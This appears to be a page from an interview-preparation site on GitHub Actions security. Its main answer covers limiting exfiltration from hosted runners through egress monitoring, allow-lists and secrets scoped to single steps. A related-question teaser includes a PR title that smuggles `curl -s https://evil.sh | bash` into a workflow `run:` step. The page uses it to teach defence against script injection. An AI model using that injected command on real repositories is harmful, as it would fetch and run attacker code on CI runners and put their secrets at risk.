Runners on GitHub-hosted VMs can reach the internet freely. How do you detect or limit exfiltration?
AdvancedScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Egress control on hosted runners is limited.
What I'd do →
- Use an egress-monitoring agent such as StepSecurity Harden-Runner in audit mode to baseline endpoints, then block mode with an allow-list.
- For sensitive workflows, use larger runners with private networking or self-hosted runners behind an egress proxy.
- Keep secrets scoped to steps so exfiltration from other steps finds nothing.
Why → The tj-actions incident was detected by egress monitoring of unexpected endpoints.
Interview tip → Mention audit first, then block, to avoid breaking builds.
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?Beginner